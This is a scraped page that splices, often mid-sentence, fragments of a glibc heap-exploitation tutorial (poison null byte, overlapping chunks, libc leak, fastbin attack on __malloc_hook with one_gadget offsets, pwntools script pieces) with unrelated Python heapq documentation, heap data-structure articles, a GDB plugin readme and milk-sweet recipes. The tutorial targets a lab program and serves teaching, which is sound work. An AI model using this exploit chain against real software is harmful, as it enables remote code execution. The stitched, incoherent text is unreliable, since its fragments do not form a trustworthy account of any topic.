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Peda heap

In order to leak a libc-address through a heap-based vulnerability we can leverage the fact, that the FD and BK of a free chunk at the head or tail of a bin contains libc-addresses of the main arena. If the program would be affected by an Use After Free (UAF) vulnerability, we could just free a chunk and then print its data. Since the first 8 bytes of data are the FD, we would get a libc-address right away. As the sample program does not contain an UAF vulnerability and we can only overflow a chunk with a single null-byte, we have to get a little bit more creative.–> Environment –> Vulnerable Program –> Heap Basics –> Libc-Leak –> Control Instruction Pointer –> One Gadget –> Final Exploit2) A Binary Heap is either Min Heap or Max Heap. In a Min Binary Heap, the key at root must be minimum among all keys present in Binary Heap. The same property must be recursively true for all nodes in Binary Tree. Max Binary Heap is similar to MinHeap.

5) delete(): Deleting a key also takes O(Logn) time. We replace the key to be deleted with minum infinite by calling decreaseKey(). After decreaseKey(), the minus infinite value must reach root, so we call extractMin() to remove the key. The heap is one maximally efficient implementation of an abstract data type called a priority queue, and in fact, priority queues are often referred to as "heaps", regardless of how they may be implemented. In a heap, the highest (or lowest) priority element is always stored at the root. However, a heap is not a sorted structure; it can be regarded as being partially ordered. A heap is a useful data structure when it is necessary to repeatedly remove the object with the highest (or lowest) priority. Some new commands debug heap for peda - a Python repository on GitHub. heap all [main_arena] -- print heap info (mmap + sbrk). heap freed [main_arena] -- print freed chunks (fastbinY + bins)

A heap can be thought of as a priority queue; the most important node will always be at the top, and when removed, its replacement will be the most important. This can be useful when coding algorithms.. When we now free chunk_CCC it gets consolidated with the previous chunk, which is assumed to be 0x170 bytes large, because we faked the previous size field of chunk_CCC.From my understanding, tcache chunks also don’t get consolidated, so I don’t see how to apply this technique to tchunks themselves.

# restore the size field (0x70) of the free'd chunk_BBB for i in range(0xfe, 0xf7, -1): delete(0) create(i+8, 'F'*i + p64(0x70)) # new_idx = 0 Then we can recreate the chunk:list(sorted(itertools.chain(*data))) For larger data sets, this technique can use a considerable amount of memory. Instead of sorting the entire combined sequence, merge() uses a heap to generate a new sequence one item at a time, determining the next item using a fixed amount of memory. gdb-peda$ p main_arena $1 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x0, 0x602090, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x6020c0, last_remainder = 0x0, bins = {0x602000, 0x602000, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, ... fastbinY contains a head pointer for each fastbin. As you can see there are 10 fastbins, which differ in the size of the chunks stored in it. Until now there is only a single chunk in the second fastbin: 2) A Binary Heap is either Min Heap or Max Heap. In a Min Binary Heap, the key at root must be minimum among all keys present in Binary Heap. The same property must be recursively true for all.. $ python3 heapq_heappop.py random : [19, 9, 4, 10, 11] heapified : 4 9 19 10 11 ------------------------------------ pop 4: 9 10 19 11 ------------------------------------ pop 9: 10 11 19 ------------------------------------ To remove existing elements and replace them with new values in a single operation, use heapreplace().

At next we need to do a little bit cleanup again and restore the size+flags field of the free’d chunk_BBB:Thanks for such a detailed guide. I was trying to get this working on a bnary being linked against libc-2.29 and have a hard time getting around those new checks: At first, I though it would be sufficient to simply fill and empty the tcache, so that chunks get placed into (or retrieved from) the unsorted bin (instead of the tcache bins). Unfortunately, this will trigger a “corrupted size vs. prev_size while consolidating” error together with a SIGABRT. This is due to the chunk’s size is different to the “overwritten” prev_size that was used to exploit the back consolidation. Would I need to somehow overwrite/overflow the “to-be-freed” chunk’s size field via the chunk that is in-front (chunk_AAA in this case) of it? Because setting the next chunk’s prev_size would be counterproductive and not gain us the desired action.Hello~ 🙂 first of all, thank you for your great article. I’ve been studying about heap overflow reading your this paper. but I have a question for you. could you tell me how to get libc_offset? I don’t know how to get the offset like you. $ python3 heapq_extremes.py all : [19, 9, 4, 10, 11] 3 largest : [19, 11, 10] from sort : [19, 11, 10] 3 smallest: [4, 9, 10] from sort : [4, 9, 10] Efficiently Merging Sorted Sequences¶ Combining several sorted sequences into one new sequence is easy for small data sets.

When considering how to the control the instruction pointer, there is yet again a great difference between stack- and heap-based exploits. The classical method on the stack is to overwrite the return address being stored there. On the heap there is no return address. It might be the case that function pointers of more complex objects (struct / class) are stored on the heap, which can be overwritten to directly control the instruction pointer, but this is not the case with our sample program. Instead we will stick to a common technique when exploiting heap-based vulnerabilites, which basically works like this:So we have identified a vulnerability which gives us the possibility to overflow a heap-chunk with a single null-byte. It does not sound like we could do alot with this, does it? Well, actually we can: supposing that the program is running on a server this tiny null-byte can lead to full Remote Code Execution (RCE). But before we jump right into the development of our exploit, we shortly recap some heap basics.import heapq from heapq_showtree import show_tree from heapq_heapdata import data heapq.heapify(data) print('start:') show_tree(data) for n in [0, 13]: smallest = heapq.heapreplace(data, n) print('replace {:>2} with {:>2}:'.format(smallest, n)) show_tree(data) Replacing elements in place makes it possible to maintain a fixed-size heap, such as a queue of jobs ordered by priority.

GitHub - eatmanCTF/peda: Some new commands debug heap for peda

Return a list with the n largest elements from the dataset defined by iterable. key, if provided, specifies a function of one argument that is used to extract a comparison key from each element in the iterable: key=str.lower Equivalent to: sorted(iterable, key=key, reverse=True)[:n]$ python3 heapq_heapreplace.py start: 4 9 19 10 11 ------------------------------------ replace 4 with 0: 0 9 19 10 11 ------------------------------------ replace 0 with 13: 9 10 19 13 11 ------------------------------------ Data Extremes from a Heap¶ heapq also includes two functions to examine an iterable and find a range of the largest or smallest values it contains.If we would just take our example from above, clear the previous chunk in use flag of chunk2 and then try to free chunk2 in order to trick the libc into consolidating both chunks, the program would simply crash. Why that? Well, chunk1 will be treated as a free chunk. This means that the previous size field of chunk1 should contain a valid value and – even more harder to fake – the FD and BK pointers should be set appropriately. But don’t worry! With a little bit more work we can achieve our goal to create two overlapping chunks.Coding Practice on Heap All Articles on Heap Quiz on Heap PriorityQueue : Binary Heap Implementation in Java Library$ python3 heapq_heapify.py random : [19, 9, 4, 10, 11] heapified : 4 9 19 10 11 ------------------------------------ Accessing the Contents of a Heap¶ Once the heap is organized correctly, use heappop() to remove the element with the lowest value.

peda & pwngdb make heap clear - 大风的博客 Dafeng's Blo

# leverage off-by-one vuln in chunk_BBB: # overwrite prev_inuse bit of following chunk (chunk_CCC) delete(1) create(0x68, 'B'*0x68) # chunk_BBB, new idx = 0 After the previous chunk in use flag of chunk_CCC has been cleared, we also have to set the previous size field of chunk_CCC to the size of chunk_AAA + chunk_BBB, which is 0x170. Unfortunately we cannot insert null-bytes in the data because strcpy is used, which will terminate on a null-byte. To insert null-bytes anyway, we simply reduce the data-length byte-by-byte. The appended null-byte at the end of the string will serve our purpose: gdb-peda$ p main_arena $1 = { mutex = 0x0, flags = 0x1, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, top = 0x6020c0, last_remainder = 0x0, bins = {0x602000, 0x602000, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, ... The first thing to notice is that the main arena also contains a value called top, which points to the top of the heap also known as wilderness.The goal of the part you mentioned is to write the 64-bit value 0x170 (previous size field of chunk_CCC).Return a list with the n smallest elements from the dataset defined by iterable. key, if provided, specifies a function of one argument that is used to extract a comparison key from each element in the iterable: key=str.lower Equivalent to: sorted(iterable, key=key)[:n]

Video: Mipu94/peda-heap - Libraries

8.4. heapq — Heap queue algorithm — Python 2.7.18 documentatio

Heaps are usually implemented with an implicit heap data structure, which is an implicit data structure consisting of an array (fixed size or dynamic array) where each element represents a tree node whose parent/children relationship is defined implicitly by their index. After an element is inserted into or deleted from a heap, the heap property may be violated and the heap must be balanced by swapping elements within the array. There is a major difference between stack- and heap-based exploits: the stack-logic (e.g. what calling conventions are being used) is compiled into the binary. It does not matter which libc-version your system is using: each push and pop or reference to the stack (e.g. ebp+0x20) is part of the binary and is not affected by an external library.The program is similar to an usual ctf heap-pwn challenge displaying a menu to choose between creating/deleting/printing a chunk:thanks for your feedback! I assume you are talking about a slightly older machine on a popular pen-testing platform 😉 Unfortunately I haven’t got the time yet to do it myself, but it’s definitely on my todo list. In order to circumvent the problem you mentioned, it would suffice to increase the size of the first chunk in order to pass the size == prev_size check, as you pointed out. Assuming you only have a null-bye overflow you won’t be able to do this, because you can only make the size smaller (overwriting the least significant byte of the size with 00). What you could do is to create a fake chunk header (within the content of the first chunk), set the size of the fake chunk header and adjust the prev_size appropriately. The challenge here is that you also have to make the fake chunk header have a valid FD/BK pointer, because otherwise unlink will fail. In order to achieve this, you can make the FD/BK pointer point to the fake chunk itself (you will need to know the heap address for this). I hope this will help you, although I haven’t taken a look at the binary in question yet. Good luck 🙂

Heap (data structure) - Wikipedi

printf("data: "); size = read(0, buf, size); buf[size] = 0x00; ptrs[idx] = (char*)malloc(size); strcpy(ptrs[idx], buf); After the call to read size contains the amounts of bytes read, which are limited to the size the user entered (maximum 1023). xerus@xerus:~/pwn/heap$ one_gadget /lib/x86_64-linux-gnu/libc.so.6 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL As you can see, there are some constraints, which must be met for the gadget to work.$ python3 heapq_heappush.py random : [19, 9, 4, 10, 11] add 19: 19 ------------------------------------ add 9: 9 19 ------------------------------------ add 4: 4 19 9 ------------------------------------ add 10: 4 10 9 19 ------------------------------------ add 11: 4 10 9 19 11 ------------------------------------ If the data is already in memory, it is more efficient to use heapify() to rearrange the items of the list in place. # the next allocation with a size equal to chunk_BBB (0x70 = fastbin) # will return the address of hook from the fastbin-list # --> store the address of oneshot in __malloc_hook oneshot = libc_base + oneshot_offset create(0x68, 0x13*'G'+p64(oneshot)+0x4d*'\x00') # since __malloc_hook is set now, the next call to malloc will # call the address stored there (oneshot) create(0x20, 'trigger exploit') … and verify that [rsp+0x50] is null:

A common implementation of a heap is the binary heap, in which the tree is a binary tree (see figure). The heap data structure, specifically the binary heap, was introduced by J. W. J. Williams in 1964, as a data structure for the heapsort sorting algorithm.[3] Heaps are also crucial in several efficient graph algorithms such as Dijkstra's algorithm. When a heap is a complete binary tree, it has a smallest possible height—a heap with N nodes and for each node a branches always has loga N height. Since we already have two overlapping chunks, we can use this to overwrite the FD of a free fastbin-chunk. At first we need to clean up a little bit from the libc-leak:

Peda.ne

>>> def heapsort(iterable): ... h = [] ... for value in iterable: ... heappush(h, value) ... return [heappop(h) for i in range(len(h))] ... >>> heapsort([1, 3, 5, 7, 9, 2, 4, 6, 8, 0]) [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] This is similar to sorted(iterable), but unlike sorted(), this implementation is not stable. Contribute to Mipu94/peda-heap development by creating an account on GitHub import heapq from heapq_showtree import show_tree from heapq_heapdata import data print('random :', data) heapq.heapify(data) print('heapified :') show_tree(data) print() for i in range(2): smallest = heapq.heappop(data) print('pop {:>3}:'.format(smallest)) show_tree(data) In this example, adapted from the stdlib documentation, heapify() and heappop() are used to sort a list of numbers.This way we can write arbitrary data to an address of our choice. Nevertheless there are some constraints as we will see later. For now it is only important that we are going to use a fastbin. Ultimately we simply want to overwrite some function pointer and do not need to write a hug amount of data, so the size of a fastbin will suffice. Also fastbins only use the forward pointer FD, which makes it easier as we will see.

Binary Heap - GeeksforGeek

  1. # set prev_size of following chunk (chunk_CCC) to 0x170 for i in range(0x66, 0x5f, -1): delete(0) create(i+2, 'B'*i + '\x70\x01') # chunk_BBB, new_idx = 0 Let’s have a look at the heap after these steps:
  2. 3) decreaseKey(): Decreases value of key. The time complexity of this operation is O(Logn). If the decreases key value of a node is greater than the parent of the node, then we don’t need to do anything. Otherwise, we need to traverse up to fix the violated heap property.
  3. We can now simply allocate a chunk in the big free chunk to overwrite the FD of the free’d chunk_BBB:
  4. When we allocate a chunk of the corresponding size, we will be served with the free chunk from the tail of the list:
  5. gdb-peda$ x/xg 0x7ffff7dd1b78+0x10 0x7ffff7dd1b88 <main_arena+104>: 0x0000000000602000 gdb-peda$ x/xg 0x7ffff7dd1b78+0x18 0x7ffff7dd1b90 <main_arena+112>: 0x0000000000602000 For now our doubly linked listed contains only one chunk:
  6. I have already mentioned that small chunks are stored in singly linked lists called fastbins. So let’s see what happens, if we free the second chunk which only contains 0x28 bytes:

Video: Heap Exploitation: Off-By-One / Poison Null Byte - devel0pment

> 1 using slot 0 size: 40 data: AAAAAAAAAAAAAAAAAAAAAAAAA successfully created chunk The output contains the slot in which the newly allocated chunk is stored (in this case slot 0).In order to overcome this problem, we use the null-byte which terminates the string and subsequently reduce the size of the string we write:# set prev_size of following chunk (chunk_CCC) to 0x170 for i in range(0x66, 0x5f, -1): delete(0) create(i+2, ‘B’*i + ‘\x70\x01’) # chunk_BBB, new_idx = 0 Heap tools. libHeap maybe not easy to install, and I find that peda & Pwngdb are alse good Add commands to support debugging and exploit development (for a full list of commands use peda help The disk balancing algorithms which are current, nowadays, are more annoying than clever, and this is a consequence of the seeking capabilities of the disks. On devices which cannot seek, like big tape drives, the story was quite different, and one had to be very clever to ensure (far in advance) that each tape movement will be the most effective possible (that is, will best participate at “progressing” the merge). Some tapes were even able to read backwards, and this was also used to avoid the rewinding time. Believe me, real good tape sorts were quite spectacular to watch! From all times, sorting has always been a Great Art! :-)

Copyright © 2020 Tidelift, Inc Code is Open Source under AGPLv3 license Data is available under CC-BY-SA 4.0 license [----------------------------------registers-----------------------------------] RAX: 0x602010 --> 0x0 RBX: 0x0 RCX: 0x7ffff7dd1b20 --> 0x100000000 RDX: 0x602010 --> 0x0 RSI: 0x602090 --> 0x0 RDI: 0x7ffff7dd1b20 --> 0x100000000 RBP: 0x7fffffffe490 --> 0x4005d0 (<__libc_csu_init>: push r15) RSP: 0x7fffffffe470 --> 0x4005d0 (<__libc_csu_init>: push r15) RIP: 0x400578 (<main+18>: mov QWORD PTR [rbp-0x10],rax) R8 : 0x602000 --> 0x0 R9 : 0xd ('\r') R10: 0x7ffff7dd1b78 --> 0x602090 --> 0x0 R11: 0x0 R12: 0x400470 (<_start>: xor ebp,ebp) R13: 0x7fffffffe570 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40056a <main+4>: sub rsp,0x20 0x40056e <main+8>: mov edi,0x88 0x400573 <main+13>: call 0x400450 <malloc@plt> => 0x400578 <main+18>: mov QWORD PTR [rbp-0x10],rax ... The heap-metadata for each chunk are two 8 byte values (4 byte on 32bit), which are stored in front of the actual data of the chunk. Notice that malloc returns the address of the data (0x602010). This means the whole chunk begins at 0x602000): gdb-peda$ x/xg &__malloc_hook 0x7ffff7dd1b10 <__malloc_hook>: 0x00000000b00bb00b … we can trigger the hook by an arbitrary allocation:

Note that, as shown in the graphic, there is no implied ordering between siblings or cousins and no implied sequence for an in-order traversal (as there would be in, e.g., a binary search tree). The heap relation mentioned above applies only between nodes and their parents, grandparents, etc. The maximum number of children each node can have depends on the type of heap. # create a new chunk (chunk_EEE) within the big free chunk to push # the libc-addresses (fd/bk) down to chunk_BBB create(0xf6, 'E'*0xf6) # chunk_EEE, new_idx = 1 Notice that I chose 0xf6 instead of 0xf8 for the size to prevent triggering the off-by-one vulnerability again.Various structures for implementing schedulers have been extensively studied, and heaps are good for this, as they are reasonably speedy, the speed is almost constant, and the worst case is not much different than the average case. However, there are other representations which are more efficient overall, yet the worst cases might be terrible.import heapq from heapq_showtree import show_tree from heapq_heapdata import data heap = [] print('random :', data) print() for n in data: print('add {:>3}:'.format(n)) heapq.heappush(heap, n) show_tree(heap) When heappush() is used, the heap sort order of the elements is maintained as new items are added from a data source.

Peda - Python Exploit Development Assistance for GD

  1. Long story short: In order to comprehend the steps described in this article I recommend you to use the same environment (especially libc-version).
  2. Commands: [heap] heap all [main_arena] -- print heap info (mmap + sbrk) heap freed [main_arena] -- print freed chunks (fastbinY + bins) heap fastbin [main_arena] -- print freed chunks(fastbinY) heap bins [main_arena] -- print freed chunks (bins) heap trace -- print (arg + return_value) of malloc,free,realloc heap checkfree address -- try free chunk at address and print some info [IDA] xdebug -- execute commands in file peda-cmd. xstruct struct_name address -- try parsing info follow structs(Local Types) was reversed by IDA,structs was imported by peda from file peda-structs
  3. xerus@xerus:~$ cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=16.04 DISTRIB_CODENAME=xenial DISTRIB_DESCRIPTION="Ubuntu 16.04.4 LTS" Kernel-version 4.13:
  4. This is different with the heap. The heap-logic depends on the libc-version being used. A software developer uses a straight-forward interface (e.g. malloc and free) to access the heap. This interface does not change. The implementation of the interface does. This means that each libc-version may implement the heap-interface differently. For a software developer who uses the interface it is only important, that each call to malloc allocates the requested bytes on the heap and a subsequent call to free deallocates this memory. He does not care about how the libc manages the heap-memory. For an exploit developer this is important. A vulnerability like the off-by-one vulnerability explained in this article corrupts the heap’s metadata. These metadata are additional information stored on the heap for each allocated or free chunk in order to keep track of the available memory. An exploit corrupting these metadata may only work with a specific libc-version. This does not only affect the offsets being used in the exploit but rather the whole exploit-logic depending on how the libc allocates/deallocates chunks and what security checks are performed on the metadata.
  5. xerus@xerus:~/pwn/heap$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space 2 xerus@xerus:~/pwn/heap$ ./exploit.py [+] Starting local process './heap': pid 5053 [*] libc_base: 0x7f8482a13000 [*] Stopped process './heap' (pid 5053) xerus@xerus:~/pwn/heap$ ./exploit.py [+] Starting local process './heap': pid 5057 [*] libc_base: 0x7f28f53ef000 [*] Stopped process './heap' (pid 5057) xerus@xerus:~/pwn/heap$ ./exploit.py [+] Starting local process './heap': pid 5061 [*] libc_base: 0x7f784c1c6000 [*] Stopped process './heap' (pid 5061) After successfully leaking the libc base-address we can calculate all addresses of interest. But the most important step is still missing: controlling the instruction pointer.
  6. # since __malloc_hook is set now, the next call to malloc will # call the address stored there (foo) create(0x20, 'trigger __malloc_hook') We get a segmentation fault and successfully control the instruction pointer:
  7. ... char *ptr = malloc(0x88); char *ptr2 = malloc(0x28); for (int i = 0; i < 0x88; i++) ptr[i] = 'A'; free(ptr); ... .. and have a look at the heap:

xerus@xerus:~$ uname -a Linux xerus 4.13.0-36-generic #40~16.04.1-Ubuntu SMP Fri Feb 16 23:25:58 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux With libc-version 2.23:Removing the entry or changing its priority is more difficult because it would break the heap structure invariants. So, a possible solution is to mark the existing entry as removed and add a new entry with the revised priority:

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heapq - Heap Sort Algorithm — PyMOTW

If we would free another chunk of the same size (in this case our chunk is stored in a smallbin in contrary to a largebin for chunks >= 512 byte, which are treated slightly different), the second free’d chunk would be inserted at the head of the doubly linked list:The remaining challenges revolve around finding a pending task and making changes to its priority or removing it entirely. Finding a task can be done with a dictionary pointing to an entry in the queue.

xerus@xerus:~/pwn/heap$ cat /proc/sys/kernel/randomize_va_space 2 The vulnerable program is compiled as a Position-independent Executable (PIE) with Full RELRO:These two make it possible to view the heap as a regular Python list without surprises: heap[0] is the smallest item, and heap.sort() maintains the heap invariant! link brightness_4 code ... char *ptr = malloc(0x88); ... After the call to malloc the address of the new chunk is stored in RAX:Pop and return the smallest item from the heap, and also push the new item. The heap size doesn’t change. If the heap is empty, IndexError is raised.

Python Heapq and Heap Data Structure Explained with Example

  1. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
  2. In order to do this I created a vulnerable program, which we will use as an example to create such an exploit. If you like to, you can start by analyzing and exploiting the program on your own (at least check out Environment):
  3. -heap property: the value of each node is greater than or equal to the value..
  4. This one step operation is more efficient than a heappop() followed by heappush() and can be more appropriate when using a fixed-size heap. The pop/push combination always returns an element from the heap and replaces it with item.
  5. The libc is constantley being hardened against attacks in the form of additional security checks. This means in our case that malloc will check if the address 0xdeadbeef actually contains a valid free chunk with the appropriate size before returning this address. Since chunk_BBB had a size of 0x70, this is also the size a free chunk within this fastbin must have. The four lower bits are not evaluated, which means that a value in the range from 0x70 to 0x7f is considered valid. Accordingly the data at 0xdeadbeef should look like this:

create(0xf8, 'A'*0xf8) # chunk_AAA, idx = 0 create(0x68, 'B'*0x68) # chunk_BBB, idx = 1 create(0xf8, 'C'*0xf8) # chunk_CCC, idx = 2 create(0x10, 'D'*0x10) # chunk_DDD, idx = 3 Side note: For debugging purpose I consider it easier to disable ASLR and just keep in mind, that I actually don’t know any address. This way the heap addresses will stay constant, which makes printing a little bit more handy. Heap University. Video tutorials. Contact Us. Use behavioral data to build an exceptional product. Heap Connect If we would free another chunk of the same size, this chunk would be inserted at the head of the singly linked list (just like with smallbins):

Different types of heaps implement the operations in different ways, but notably, insertion is often done by adding the new element at the end of the heap in the first available free space. This will generally violate the heap property, and so the elements are then shifted up until the heap property has been reestablished. Similarly, deleting the root is done by removing the root and then putting the last element in the root and sifting down to rebalance. Thus replacing is done by deleting the root and putting the new element in the root and sifting down, avoiding a sifting up step compared to pop (sift down of last element) followed by push (sift up of new element). A max-heap ensures that the parent is larger than or equal to both of its children. A min-heap requires that the parent be less than or equal to its children. Python’s heapq module implements a min-heap. xerus@xerus:~/pwn/heap$ checksec heap RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 79 Symbols Yes 0 6 heap Vulnerable Program As described in the introduction we will have a look at a sample program, which is affected by an off-by-one vulnerability on the heap. dharwad peda recipe is rolled on sugar crystal before serving making it very unique. dharwad peda furthermore, some important tips and suggestions for a creamy and moist dharwad peda recipe. firstly..

gdb-peda$ p main_arena $1 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x7ffff7dd1aed <_IO_wide_data_0+301>, 0x0, 0x0, 0x0, 0x0}, top = 0x6042a0, last_remainder = 0x604120, bins = {0x604120, 0x604120, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bc8 <main_arena+168>, 0x7ffff7dd1bd8 <main_arena+184>, ... The next allocation with a size equal to the fastbin-size (0x70) will return the address 0x7ffff7dd1aed + 0x10. At offset +0x13 the __malloc_hook is stored. If we put an address of our choice there and do another allocation (call to malloc), this address is called:Moreover, if you output the 0’th item on disk and get an input which may not fit in the current tournament (because the value “wins” over the last output value), it cannot fit in the heap, so the size of the heap decreases. The freed memory could be cleverly reused immediately for progressively building a second heap, which grows at exactly the same rate the first heap is melting. When the first heap completely vanishes, you switch heaps and start a new run. Clever and quite effective!Outstanding article! Was really helpful for me. Very clearly explains exactly what is happening on the heap. Thanks for taking the time to put together such a great, detailed, but clearly explained article. I’m sure the screenshots from gdb with highlighted areas and labels took time to put together, but they make all the difference.In an implicit heap data structure, the first (or last) element will contain the root. The next two elements of the array contain its children. The next four contain the four children of the two child nodes, etc. Thus the children of the node at position n would be at positions 2n and 2n + 1 in a one-based array, or 2n + 1 and 2n + 2 in a zero-based array. Computing the index of the parent node of n-th element is also straightforward. For one-based arrays the parent of element n is located at position n/2. Similarly, for zero-based arrays, is the parent is located at position (n-1)/2 (floored). This allows moving up or down the tree by doing simple index computations. Balancing a heap is done by sift-up or sift-down operations (swapping elements which are out of order). As we can build a heap from an array without requiring extra memory (for the nodes, for example), heapsort can be used to sort an array in-place.

2.6.3 Heap - Heap Sort - Heapify - Priority Queues - YouTub

Heaps are binary trees for which every parent node has a value less than or equal to any of its These two make it possible to view the heap as a regular Python list without surprises: heap[0] is the.. Heaps are also very useful in big disk sorts. You most probably all know that a big sort implies producing “runs” (which are pre-sorted sequences, whose size is usually related to the amount of CPU memory), followed by a merging passes for these runs, which merging is often very cleverly organised 1. It is very important that the initial sort produces the longest runs possible. Tournaments are a good way to achieve that. If, using all the memory available to hold a tournament, you replace and percolate items that happen to fit the current run, you’ll produce runs which are twice the size of the memory for random input, and much better for input fuzzily ordered.

Heap - OSDev Wik

Our free chunk can be found within bins. bins contain a head and a tail pointer for each stored bin. The first head and tail pointer both reference our free chunk at 0x602000. Notice again that this is the address returned by malloc - 0x10 because it references the metadata and not the actual data. This offset must also be considered for the head and tail pointer stored in the FD and BK of the free’d chunk. Both the FD and the BK contain the value 0x7ffff7dd1b78, which means that the actual head pointer is located at +0x10 = 0x7ffff7dd1b88 and the tail pointer at +0x18 = 0x7ffff7dd1b90:Thanks! Just wanted to let you know that this work is one of the best explanations available right now! Comments are also great ’cause these are two exact spots where I was like ‘what the heck is he doing here?’ # restore the size field (0x70) of chunk_BBB for i in range(0xfd, 0xf7, -1): delete(1) create(i+1, 'E'*i + '\x70') # chunk_EEE, new_idx = 1 # free chunk_BBB: the address of the chunk is added to the fastbin-list delete(0) # free chunk_EEE delete(1) We restored the size+flags field of chunk_BBB and deleted both chunk_BBB and chunk_EEE. Now the heap looks like this (for debugging I turned ASLR off again):Heap elements can be tuples. This is useful for assigning comparison values (such as task priorities) alongside the main record being tracked:

Similar to sorted(itertools.chain(*iterables)) but returns an iterable, does not pull the data into memory all at once, and assumes that each of the input streams is already sorted (smallest to largest). ... char *ptr = malloc(0x88); char *ptr2 = malloc(0xf8); for (int i = 0; i < 0x88; i++) ptr[i] = 'A'; ... Now we only need to allocate a chunk with the same size of the original chunk_AAA (0x100) in order to align the big free chunk with chunk_BBB and thus store the FD and BK at the beginning of chunk_BBB: ... char *ptr = malloc(0x88); char *ptr2 = malloc(0x28); for (int i = 0; i < 0x88; i++) ptr[i] = 'A'; free(ptr); free(ptr2); ... Now the heap looks like this: struct msg { __int64 post_id; _QWORD *sender; char msg[128]; post *next; }; [PIE] bp address -- breakpoint an address with PIE flag xp address -- exam an address with PIE flag Installation: git clone https://github.com/mipu/peda-heap ~/peda-heap echo "source ~/peda-heap/peda.py" >> ~/.gdbinit Screenshot

PEDA

Milk powder: 1 1/2 cups, condensed milk: 1 can (400 g or 300 ml), butter: 8 tbsps, cardamom: 4 (peel and crush the seeds in a mortal and pestle), nuts: almonds or pistachios or cashew nuts or raisins. Melt the butter in a heavy bottomed vessel ... char *ptr = malloc(0x88); char *ptr2 = malloc(0x28); ... After the second call to malloc the heap looks like this: gdb-peda$ i proc mappings process 8818 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /home/xerus/pwn/heap/dev/heap 0x601000 0x602000 0x1000 0x1000 /home/xerus/pwn/heap/dev/heap 0x602000 0x603000 0x1000 0x2000 /home/xerus/pwn/heap/dev/heap 0x603000 0x625000 0x22000 0x0 [heap] 0x7ffff7a0d000 0x7ffff7bcd000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so ... gdb-peda$ p 0x7ffff7dd1aed - 0x7ffff7a0d000 $1 = 0x3c4aed … and use our previously leaked libc base-address to overwrite the FD of the free’d chunk_BBB with the resulting address instead of 0xdeadbeef:The output from all the example programs from PyMOTW-3 has been generated with Python 3.7.1, unless otherwise noted. Some of the features described here may not be available in earlier versions of Python.Here are time complexities[8] of various heap data structures. Function names assume a min-heap. For the meaning of "O(f)" and "Θ(f)" see Big O notation.

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The goal of this article is to explain in detail how an off-by-one vulnerability on the heap also known as poison null byte can be exploited. Although this technique does not work with the latest libc, I think it can be used very good in order to demonstrate how exploits based on heap-metadata corruption work (also check out shellphish’s how2heap).4) Many problems can be efficiently solved using Heaps. See following for example. a) K’th Largest Element in an array. b) Sort an almost sorted array/ c) Merge K Sorted Arrays.hi seekorswim, thank you very much for taking your time and providing such a positive feedback! really great to hear that 🙂

In computer science, a heap is a specialized tree-based data structure which is essentially an almost complete tree that satisfies the heap property: in a max heap, for any given node C, if P is a parent node of C, then the key (the value) of P is greater than or equal to the key of C. In a min heap.. Peda recipe also known as milk peda. Peda recipe or doodh peda recipe with step by step pictures - milk peda is one of the traditional Indian Sweets that is prepared during festive occasions or.. xerus@xerus:~/pwn/heap$ ./heap 1. create 2. delete 3. print 4. exit > When creating a chunk the desired size and data has to be entered: #!/usr/bin/env python from pwn import * p = process('./heap') def create(size, data): p.sendlineafter('>', str(1)) p.sendlineafter('size: ', str(size)) p.sendlineafter('data: ', data) def delete(idx): p.sendlineafter('>', str(2)) p.sendlineafter('idx: ', str(idx)) def printData(idx): p.sendlineafter('>', str(3)) p.sendlineafter('idx: ', str(idx)) p.recvuntil('data: ') ret = p.recvuntil('\n') return ret[:-1] In order to create the overlapping chunks, we allocate four chunks at first:size is then used as an index in buf in order to null-terminate the entered user-data on line 69 (read does not do this).

